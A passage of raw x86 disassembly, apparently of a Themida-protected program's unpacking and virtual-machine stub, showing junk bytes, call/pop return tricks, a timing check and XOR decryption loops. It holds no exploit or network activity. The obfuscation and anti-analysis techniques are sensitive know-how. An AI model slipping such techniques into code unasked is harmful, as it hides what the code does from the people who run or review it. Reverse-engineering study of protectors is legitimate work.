		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5898CA	proc near		; CODE XREF: Themida_:005898C2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5898CA	endp

; ---------------------------------------------------------------------------
		dw 0E41h
		dd 3E97668Ch, 20BF883Fh, 0DE9h,	48F13300h, 0A4B75839h
		dd 83402F90h, 8B66E898h, 1BD8DDAh, 0E907E448h, 74h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 74C35141h, 623013Bh
		dd 958B0259h, 7E41F3Dh,	5830Fh,	81660000h
		db 0E3h, 0F0h, 5Ch
; ---------------------------------------------------------------------------


loc_589937:				; CODE XREF: Themida_:005898B9j
		cmp	eax, 3
		jnz	loc_58995D
		mov	dx, 0AD87h
		lea	edi, [ebp+7E44995h]
		mov	dx, bx
		jmp	loc_589978
; ---------------------------------------------------------------------------
		jmp	loc_58995D
; ---------------------------------------------------------------------------
		db 0Eh
		dd 7C3B613Ch
		db 0E7h
; ---------------------------------------------------------------------------


loc_58995D:				; CODE XREF: Themida_:0058993Aj
					; Themida_:00589952j
		cmp	eax, 5
		jnz	loc_589978
		jmp	loc_589971
; ---------------------------------------------------------------------------
		movsd
		test	eax, 0BAD331A6h


loc_589971:				; CODE XREF: Themida_:00589966j
		jmp	loc_5899D5
; ---------------------------------------------------------------------------
		mov	dh, 0F5h


loc_589978:				; CODE XREF: Themida_:0058988Fj
					; Themida_:0058994Dj ...
		push	edi
		sbb	dx, 8B1Fh
		mov	ecx, 46DBE530h
		mov	[ebp+7E40479h],	eax


loc_589989:				; CODE XREF: Themida_:005899C7j
		cmp	dword ptr [edi], 0
		jz	loc_5899D5
		pusha
		jmp	loc_5899AB
; ---------------------------------------------------------------------------
		test	eax, 5BAA12A9h
		sti
		push	esp
		aaa
		xor	esp, [esi+0Ch]
		lodsb
		xor	[eax+42FF32D0h], ah
		push	ds


loc_5899AB:				; CODE XREF: Themida_:00589993j
		movzx	eax, cx
		popa
		sub	[ebp+7E41C45h],	esi
		xor	[edi], cl
		movzx	ebx, si
		ror	ecx, 1
		and	bl, 7Ch
		sub	[ebp+7E41F05h],	edi
		inc	edi
		clc
		jmp	loc_589989
; ---------------------------------------------------------------------------
		or	dl, 7Bh
		xor	[ebp+7E41689h],	ecx


loc_5899D5:				; CODE XREF: Themida_:loc_589971j
					; Themida_:0058998Cj
		cmp	eax, 5
		jnz	loc_589A98
		push	0
		push	edx
		call	sub_5899E9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5899E9	proc near		; CODE XREF: Themida_:005899E1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5899E9	endp

; ---------------------------------------------------------------------------
		db 0EFh, 58h, 1Dh
		dd 9589AFD5h, 7E42EC5h,	6880Fh,	8D890000h, 7E4063Dh, 80D98C66h
		dd 0C1F679EEh, 55850F04h, 0E8000000h, 8, 63F439ACh, 0F6ED3B20h
		dd 26518589h, 0B85A07E4h, 0
; ---------------------------------------------------------------------------
		push	ecx
		mov	edx, 1CE9A2BCh
		pop	ebx
		jmp	loc_589A98
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_589A4F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589A4F	proc near		; CODE XREF: Themida_:00589A47p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_589A4F	endp

; ---------------------------------------------------------------------------
		db 0F4h
; ---------------------------------------------------------------------------
		sub	[esi+2Ah], esp
		cwde
		sub	[edx], esp
		and	al, 8Bh
		fbstp	tbyte ptr [ecx]
		mov	ebp, 7E4041Dh
		or	dx, 0BCA9h
		mov	eax, [ebp+7E43571h]
		cld
		jmp	eax
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7E43349h]
		jmp	loc_589A98
; ---------------------------------------------------------------------------
		dd 0B9696939h, 0CE9B2838h, 107EA68Ch, 5538BCB6h
; ---------------------------------------------------------------------------


loc_589A98:				; CODE XREF: Themida_:0058985Aj
					; Themida_:005899D8j ...
		cmp	dword ptr [ebp+7E41665h], 0
		jnz	loc_589BAA
		jge	loc_589AB1
		mov	[ebp+7E40509h],	edx


loc_589AB1:				; CODE XREF: Themida_:00589AA5j
		push	eax
		jmp	loc_589ACA
; ---------------------------------------------------------------------------
		db 4Ah
		dd 6755DCE4h, 43A5E3D9h, 4F6DF597h, 6DBE944Bh
; ---------------------------------------------------------------------------
		or	ch, [ecx]


loc_589ACA:				; CODE XREF: Themida_:00589AB2j
		mov	[esp], eax
		jmp	loc_589AE3
; ---------------------------------------------------------------------------
		dw 0E2DAh
		dd 0A05237EDh, 0E4A0C4A2h, 8D40D9B2h
		db 0F8h, 0E9h, 0B4h
; ---------------------------------------------------------------------------


loc_589AE3:				; CODE XREF: Themida_:00589ACDj
		or	edx, 470A90D1h
		mov	byte ptr [ebp+7E42C2Dh], 45h
		movzx	ebx, dx
		push	0EA730B37h
		push	eax
		push	edx
		mov	edx, esi
		rdtsc
		mov	dx, bx
		pop	edx
		pop	eax
		xor	dword ptr [esp], 6401625Eh
		mov	[ebp+7E41CFDh],	edx
		push	dword ptr [ebp+7E4019Dh]
		mov	[ebp+7E42C59h],	esi
		jbe	loc_589B25
		mov	bx, di


loc_589B25:				; CODE XREF: Themida_:00589B1Cj
		lea	eax, [ebp+7E43BDCh]
		sbb	edx, 358CB911h
		jmp	loc_589B45
; ---------------------------------------------------------------------------
		dw 80C5h
; ---------------------------------------------------------------------------
		mov	al, ds:810E9CC0h
		retf	0A09Bh
; ---------------------------------------------------------------------------
		dd 8892B95h
		db 86h
; ---------------------------------------------------------------------------


loc_589B45:				; CODE XREF: Themida_:00589B31j
		call	eax
		sub	ebx, 4D6277Dh
		mov	bl, 7Bh
		mov	[ebp+7E41665h],	eax
		push	0
		push	esi
		call	sub_589B60
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589B60	proc near		; CODE XREF: Themida_:00589B58p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_589B60	endp

; ---------------------------------------------------------------------------
		dd 0C05AE358h, 2569958Bh, 0DB8107E4h, 853CF18h,	50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 594F4BC8h, 2FAB4549h, 0A698BAB5h
		db 57h,	26h
; ---------------------------------------------------------------------------


loc_589BAA:				; CODE XREF: Themida_:00589A9Fj
		cmp	dword ptr [ebp+7E44FD8h], 0
		jz	loc_589C08
		mov	[ebp+7E41B99h],	esi
		push	dword ptr [ebp+7E403ADh]
		push	0
		push	esi
		call	sub_589BCE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589BCE	proc near		; CODE XREF: Themida_:00589BC6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_589BCE	endp

; ---------------------------------------------------------------------------
		dw 0B685h
		dd 8CA18C1Fh, 95FFC483h, 7E41665h, 1AA9958Bh, 11E907E4h
		dd 0C8000000h, 0CA8D2A7Dh, 718B72BFh, 3FF26266h, 38A766DCh
; ---------------------------------------------------------------------------


loc_589C08:				; CODE XREF: Themida_:00589BB1j
		cmp	eax, 0
		jnz	loc_589CCE
		jmp	loc_589C1C
; ---------------------------------------------------------------------------
		dw 0F404h
		dd 6AD8FD4Ch
; ---------------------------------------------------------------------------


loc_589C1C:				; CODE XREF: Themida_:00589C11j
		cmp	dword ptr [ebp+7E406B9h], 0
		jz	loc_589C80
		push	0
		push	eax
		call	sub_589C34
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589C34	proc near		; CODE XREF: Themida_:00589C2Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_589C34	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FCFA88Ah
		mov	bh, 0D3h
		mov	ebx, 7549DCA6h
		push	dword ptr [ebp+7E406B9h]
		add	[ebp+7E41449h],	ebx
		mov	eax, 1
		jmp	loc_589C75
; ---------------------------------------------------------------------------
		dw 0C22Eh
		dd 0A4880E05h, 0DE3D2F03h, 7A5DAC87h
; ---------------------------------------------------------------------------
		dec	esi


loc_589C75:				; CODE XREF: Themida_:00589C61j
		jmp	loc_589E15
; ---------------------------------------------------------------------------
		mov	edx, [ebp+7E405ADh]


loc_589C80:				; CODE XREF: Themida_:00589C23j
		push	dword ptr [ebp+7E403ADh]
		push	edx
		mov	[ebp+7E40345h],	ecx
		pop	edx
		push	dword ptr [ebp+7E403ADh]
		push	0
		push	ecx
		call	sub_589C9F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589C9F	proc near		; CODE XREF: Themida_:00589C97p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_589C9F	endp

; ---------------------------------------------------------------------------
		db 0E2h
		dd 65B5FF2Ah, 8907E416h, 0E4180595h, 153E907h, 958B0000h
		dd 7E405A1h, 160D9D89h
		db 0E4h, 7
; ---------------------------------------------------------------------------


loc_589CCE:				; CODE XREF: Themida_:00589C0Bj
		pop	edi
		push	edi
		mov	edx, [ebp+7E426DDh]
		pop	edx
		cmp	dword ptr [ebp+7E42161h], 0
		jnz	loc_589D56
		jnp	loc_589CEC
		mov	ebx, edx


loc_589CEC:				; CODE XREF: Themida_:00589CE4j
		mov	[ebp+7E424D9h],	ebx
		mov	byte ptr [ebp+7E42C2Dh], 4Dh
		jge	loc_589D02
		and	dh, 70h


loc_589D02:				; CODE XREF: Themida_:00589CF9j
		push	9CB8F3E3h
		mov	dl, 0D2h
		xor	dword ptr [esp], 388D854Bh
		adc	dl, 93h
		push	dword ptr [ebp+7E41DE1h]
		push	0
		push	edi
		call	sub_589D24
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589D24	proc near		; CODE XREF: Themida_:00589D1Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_589D24	endp

; ---------------------------------------------------------------------------
		and	[edx-257E99A3h], cl
		rol	dword ptr [edi], 8Dh
		test	ebx, esp
		cmp	esp, esp
		pop	es
		mov	[ebp+7E41AA1h],	eax
		call	eax
		mov	bx, 0B51h
		mov	[ebp+7E42161h],	eax
		mov	dh, 0D8h


loc_589D56:				; CODE XREF: Themida_:00589CDEj
		mov	eax, 0
		cld
		mov	[ebp+7E44F81h],	edi
		push	0
		push	edx
		call	sub_589D6D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589D6D	proc near		; CODE XREF: Themida_:00589D65p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_589D6D	endp

; ---------------------------------------------------------------------------
		retn	9DFBh
; ---------------------------------------------------------------------------
		jz	loc_589D9C
		pusha
		jmp	loc_589D9B
; ---------------------------------------------------------------------------
		xchg	eax, edi
		sub	byte ptr [ebp+53A3867Fh], 7Fh
		sub	al, 0EAh
		dec	esp
		sbb	ebp, esp
		clc
		scasb


loc_589D9B:				; CODE XREF: Themida_:00589D87j
		popa


loc_589D9C:				; CODE XREF: Themida_:00589D80j
		or	eax, eax
		jz	loc_589DC9
		movsx	edx, dx
		jmp	loc_589E15
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_589DB7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589DB7	proc near		; CODE XREF: Themida_:00589DAFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_589DB7	endp

; ---------------------------------------------------------------------------
		add	edi, edi


loc_589DC9:				; CODE XREF: Themida_:00589D9Ej
		push	dword ptr [ebp+7E41665h]
		add	ebx, [ebp+7E40571h]
		lea	eax, [ebp+7E6DBD6h]
		push	0
		push	eax
		call	sub_589DE6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589DE6	proc near		; CODE XREF: Themida_:00589DDEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_589DE6	endp

; ---------------------------------------------------------------------------
		dw 0EC37h
		dd 3988E994h, 0EE96050h, 65000000h, 9A8B2D48h, 867350B0h
		dd 0F877345Fh, 4896193h
		db 24h
; ---------------------------------------------------------------------------


loc_589E15:				; CODE XREF: Themida_:loc_589C75j
					; Themida_:00589DA7j
		push	eax
		push	esi
		lea	edi, [ebp+7E456EBh]
		lea	ecx, [ebp+7E4799Fh]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_589E2A:				; CODE XREF: Themida_:00589E30j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_589E2A
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+7E406B9h], 0
		jz	short loc_589E43
		mov	ecx, [ebp+7E41AA5h]


loc_589E43:				; CODE XREF: Themida_:00589E3Bj
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_589EFA
		cmp	dword ptr [ebp+7E42471h], 0
		jz	short loc_589E61
		call	dword ptr [ebp+7E41F91h]


loc_589E61:				; CODE XREF: Themida_:00589E59j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_589E73
		cmp	dword ptr [ebp+7E44F89h], 1
		jz	short loc_589E7C


loc_589E73:				; CODE XREF: Themida_:00589E68j
		cmp	dword ptr [ebp+7E44F89h], 2
		jnz	short loc_589E8A


loc_589E7C:				; CODE XREF: Themida_:00589E71j
		mov	esi, [ebp+7E44F81h]
		lea	eax, [ebp+7E6DBD6h]
		call	eax


loc_589E8A:				; CODE XREF: Themida_:00589E7Aj
		cmp	dword ptr [ebp+7E4231Dh], 0
		jz	short loc_589E99
		call	dword ptr [ebp+7E421E1h]


loc_589E99:				; CODE XREF: Themida_:00589E91j
		lea	eax, [ebp+7E443E7h]
		call	eax
		cmp	dword ptr [ebp+7E40B11h], 2
		jnz	short loc_589ED9
		mov	esp, [ebp+7E40649h]
		mov	eax, [ebp+7E406B9h]
		mov	[esp], eax
		mov	dword ptr [ebp+7E40E65h], 1
		mov	esi, [ebp+7E44F85h]
		mov	ebp, [ebp+7E41271h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_589ED9:				; CODE XREF: Themida_:00589EA8j
		mov	dword ptr [ebp+7E40E65h], 1
		mov	esp, [ebp+7E40649h]
		mov	esi, [ebp+7E40F11h]
		mov	ebp, [ebp+7E41271h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_589EFA:				; CODE XREF: Themida_:00589E4Cj
		cmp	dword ptr [ebp+7E4231Dh], 0
		jz	short loc_589F12
		cmp	dword ptr [ebp+7E421E1h], 0
		jz	short loc_589F12
		call	dword ptr [ebp+7E421E1h]


loc_589F12:				; CODE XREF: Themida_:00589F01j
					; Themida_:00589F0Aj
		mov	esi, [ebp+7E44F81h]
		retn
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_589F24
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589F24	proc near		; CODE XREF: Themida_:00589F1Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_589F24	endp

; ---------------------------------------------------------------------------
		dd 457D8578h, 0EBF28166h, 29958977h, 0BA07E42Ch, 0
; ---------------------------------------------------------------------------
		mov	bx, si
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_589F5B
; ---------------------------------------------------------------------------


loc_589F59:				; CODE XREF: Themida_:00589F5Ej
		inc	eax
		inc	edi


loc_589F5B:				; CODE XREF: Themida_:00589F57j
		cmp	byte ptr [edi],	0
		jnz	short loc_589F59
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_589F8A
; ---------------------------------------------------------------------------


loc_589F67:				; CODE XREF: Themida_:00589F8Cj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_589F7F
; ---------------------------------------------------------------------------


loc_589F7C:				; CODE XREF: Themida_:00589F82j
		mul	ebx
		dec	esi


loc_589F7F:				; CODE XREF: Themida_:00589F7Aj
		cmp	esi, 0
		ja	short loc_589F7C
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_589F8A:				; CODE XREF: Themida_:00589F65j
		or	eax, eax
		jnz	short loc_589F67
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7E4014Dh]
		mov	edx, eax


loc_589FA0:				; CODE XREF: Themida_:loc_587467j
		mov	eax, ecx
		jmp	loc_5AF595
; ---------------------------------------------------------------------------
		db 0F4h
		dd 1B0012FEh, 0E0006087h, 1B0012FFh, 2B006087h,	1B00606Dh
		dd 23026E00h, 12026E00h, 2000002h, 2 dup(1000000h), 8B000000h
		dd 0F87424h, 4 dup(0)
		dd 27000000h, 180058FAh, 0D70058D8h, 34005977h,	2D0058F0h
		dd 4D00594Fh, 5A00590Ah, 2000591Eh, 360058CEh, 60005936h
		dd 7D005934h, 370058B9h, 0A50058D6h, 5100593Bh,	0E0005906h
		dd 0B00596Dh, 73005941h, 80058BEh, 0CF005929h, 1400593Dh
		dd 0DB0058B0h, 0AB005944h, 7E0058CBh, 580058A9h, 0B60058E0h
		dd 0AE005907h, 0D7005934h, 0E8005938h, 0E20058E6h, 0DA00595Eh
		dd 600593Fh, 0DE0058E1h, 920058CDh, 2F0058F5h, 6600596Ah
		dd 600058CEh, 8D005916h, 0AE005977h, 2F0058B2h,	1E0058CDh
		dd 0EA0058F1h, 1D00593Fh, 870058B1h, 2200594Fh,	6200595Fh
		dd 0F000594Fh, 0E90058E7h, 580058FBh, 77005900h, 24005976h
		dd 210058B0h, 0DC005915h, 0B800597Eh, 6D005950h, 8500593Fh
		dd 410058ADh, 270058D2h, 5100596Fh, 0B700591Dh,	0A900590Ch
		dd 5A00592Fh, 0CA0058E6h, 0CD0058EFh, 63005944h, 0F300594Ch
		dd 70058ABh, 2D0058E2h,	8F0058C0h, 2A00596Ch, 0ED0058C2h
		dd 0C500593Dh, 0DC005930h, 560058A4h, 0C2005969h, 140058BBh
		dd 0F800596Dh, 5F005941h, 280058FDh, 40058DFh, 0E700594Ah
		dd 0A0005901h, 8900590Fh, 4F0058A6h, 15005908h,	0F80058A4h
		dd 890058BFh, 320058C7h, 450058FCh, 5E0058DBh, 0D800592Eh
		dd 0D1005971h, 480058C4h, 0B1005917h, 0A70058FAh, 0BF0058CFh
		dd 2500590Eh, 930058F6h, 0DC005968h, 0DD005918h, 4D005904h
		dd 9A005939h, 21005931h, 4100593Dh, 5300595Ah, 0D1005963h
		dd 8E0058A9h, 0CF0058F9h, 95005912h, 0FB0058F9h, 5F00594Eh
		dd 0D00058DEh, 5D00596Fh, 95005915h, 0AB0058D1h, 0A10058C6h
		dd 5D005920h, 50058B1h,	790058E7h, 7600596Ah, 8B0058D0h
		dd 0A1005919h, 990058E7h, 49005953h, 760058DAh,	7A00595Bh
		dd 7F0058FAh, 7F0058EAh, 0D7005952h, 0DA0058E7h, 0F400593Ch
		dd 740058F4h, 9B005907h, 73005938h, 6A0058F3h, 0AF0058BAh
		dd 0C900594Fh, 590058C1h, 4C00591Dh, 0D200592Bh, 9300593Fh
		dd 3600593Ah, 0E005908h, 4F005914h, 710058E5h, 740058DDh
		dd 54005909h, 90058AAh,	4D005917h, 37005961h, 73005917h
		dd 0FB005958h, 0D0005920h, 10005932h, 880058AAh, 0A40058E1h
		dd 80058BAh, 120058D7h,	0F8005934h, 760058E8h, 6E0058C9h
		dd 0D400593Bh, 0C00058D3h, 780058C1h, 46005972h, 2A0058D5h
		dd 0AB0058E5h, 860058D6h
; ---------------------------------------------------------------------------
		cmp	[ecx+0], ebx
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58A287:				; CODE XREF: Themida_:005AF6D3j
					; Themida_:005AF6DDj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7E47E04h
		mov	eax, edi
		add	edi, 7E47B1Ch
		cmp	eax, [edi+2Ch]
		jnz	short loc_58A2A5
		jmp	short loc_58A2B8
; ---------------------------------------------------------------------------


loc_58A2A5:				; CODE XREF: sub_5EC2E8-62047j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_58A2B4
; ---------------------------------------------------------------------------


loc_58A2AF:				; CODE XREF: sub_5EC2E8-62032j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_58A2B4:				; CODE XREF: sub_5EC2E8-6203Bj
		or	ecx, ecx
		jnz	short loc_58A2AF


loc_58A2B8:				; CODE XREF: sub_5EC2E8-62045j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58A2C5:				; CODE XREF: sub_5EC2E8-6201Cj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58A2C5


loc_58A2CE:				; CODE XREF: Themida_:0058A38Dj
					; Themida_:0058A4FBj ...
		lodsb
		jmp	loc_5963AE
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58A2D4:				; CODE XREF: Themida_:0058B833j
		or	[edi+1Ch], esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58AFBF
; ---------------------------------------------------------------------------


loc_58A2E8:				; CODE XREF: Themida_:0058B8FFj
		add	esp, 4
		jmp	loc_58BF8E
; ---------------------------------------------------------------------------


loc_58A2F3:				; CODE XREF: Themida_:0058DD11j
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58C904
; ---------------------------------------------------------------------------


loc_58A302:				; CODE XREF: Themida_:00595E5Dj
		mov	edi, [esp]
		push	0EEAh
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_58B7BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_58A314:				; CODE XREF: sub_594654+316Aj
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		imul	cl
		movzx	cx, ah
		push	500h
		mov	[esp+0], ecx
		push	esp
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	ebx
		jmp	loc_5927C2
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58A338:				; CODE XREF: sub_58F5B5+7DEFj
		or	ecx, ecx
		jz	loc_58D6EF
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_59665C
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58A350:				; CODE XREF: Themida_:00596964j
		mov	edx, 4
		push	eax
		mov	eax, 6A387284h
		sub	eax, 50894668h
		sub	edi, eax
		pop	eax
		jmp	loc_58B9F9
; ---------------------------------------------------------------------------


loc_58A368:				; CODE XREF: Themida_:0059785Fj
		push	eax
		mov	eax, 2
		mov	edx, eax
		pop	eax
		mov	eax, edx
		pop	edx
		add	esi, 65DA575Ah
		sub	esi, eax
		sub	esi, 65DA575Ah
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58A392:				; CODE XREF: Themida_:0059078Aj
		mov	esi, 0F757FA88h
		sub	ebx, esi
		jmp	loc_58BB5D
; ---------------------------------------------------------------------------


loc_58A39E:				; CODE XREF: Themida_:00595231j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_597101
; ---------------------------------------------------------------------------


loc_58A3A9:				; CODE XREF: Themida_:0058DFF0j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ecx
		jmp	loc_591C7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58A3B9:				; CODE XREF: sub_5938B9+423Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+4+var_6+2]
		pop	esp
		mov	[esp+0], ebp
		mov	ebp, 3C092462h
		mov	esi, 27365E11h
		xor	esi, ebp
		jmp	loc_59769A
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58A3E0:				; CODE XREF: sub_590467+37E0j
		add	esi, 0A617000h
		add	esi, ecx
		sub	esi, 0A617000h
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_5957BA
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58A3FC:				; CODE XREF: Themida_:0058BB58j
		sub	ebp, 593129CDh
		sub	ebp, esi
		add	ebp, 593129CDh
		jmp	loc_597288
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58A40F:				; CODE XREF: sub_595258-3A14j
		pop	esi
		jmp	loc_58FEF5
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
		lodsb
		add	al, 34h
		push	ecx
		mov	cl, 12h
		sub	al, 9Dh
		sub	al, cl
		add	al, 9Dh
		pop	ecx
		sub	al, bl
		push	ebx
		push	ecx
		jmp	loc_596A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58A42B:				; CODE XREF: sub_58C17E+3D46j
		add	ecx, esi
		sub	ecx, 0A575744h
		mov	esi, [esp+0]
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	3F740E7h
		pop	esi
		mov	eax, 3F740EBh
		sub	eax, esi
		pop	esi
		and	ecx, eax
		push	dword ptr [esp+0]
		pop	eax
		push	eax
		jmp	loc_58D116
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58A45D:				; CODE XREF: sub_5938B9+4397j
		mov	ecx, [esp+0]
		jmp	loc_5933AE
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58A465:				; CODE XREF: Themida_:0058F7F9j
		pop	ecx
		push	edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		push	edi
		jmp	loc_594487
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_58A475:				; CODE XREF: sub_590B70+536Dj
		mov	[esp+0], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	edx
		push	esi
		push	1DF47593h
		pop	esi
		shr	esi, 4
		sub	esi, 1DF4755h
		push	ecx
		mov	ecx, esi
		mov	edx, ecx
		pop	ecx
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		sub	ebp, 49E64C75h
		sub	ebp, edx
		jmp	loc_59370C
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58A4AE:				; CODE XREF: sub_5919E2+5A3Aj
		sub	ecx, edi
		pop	edi
		jmp	loc_58D4D4
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------


loc_58A4B6:				; CODE XREF: Themida_:0058CB4Aj
		pop	ebx
		push	eax
		jmp	loc_596DA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58A4BD:				; CODE XREF: sub_58C17E+6011j
		push	254Eh
		mov	[esp+8+var_8], ebp
		mov	ebp, 4
		jmp	loc_58ED9C
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58A4CF:				; CODE XREF: sub_592D25+9E2j
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		push	ecx
		jmp	loc_58EDC9
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		jmp	loc_592416
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58A4EA:				; CODE XREF: sub_592D25+2CA6j
		pop	eax
		push	esi
		mov	esi, 0AA364E0h
		jmp	loc_591D30
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_58A4F6:				; CODE XREF: Themida_:00595B3Fj
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


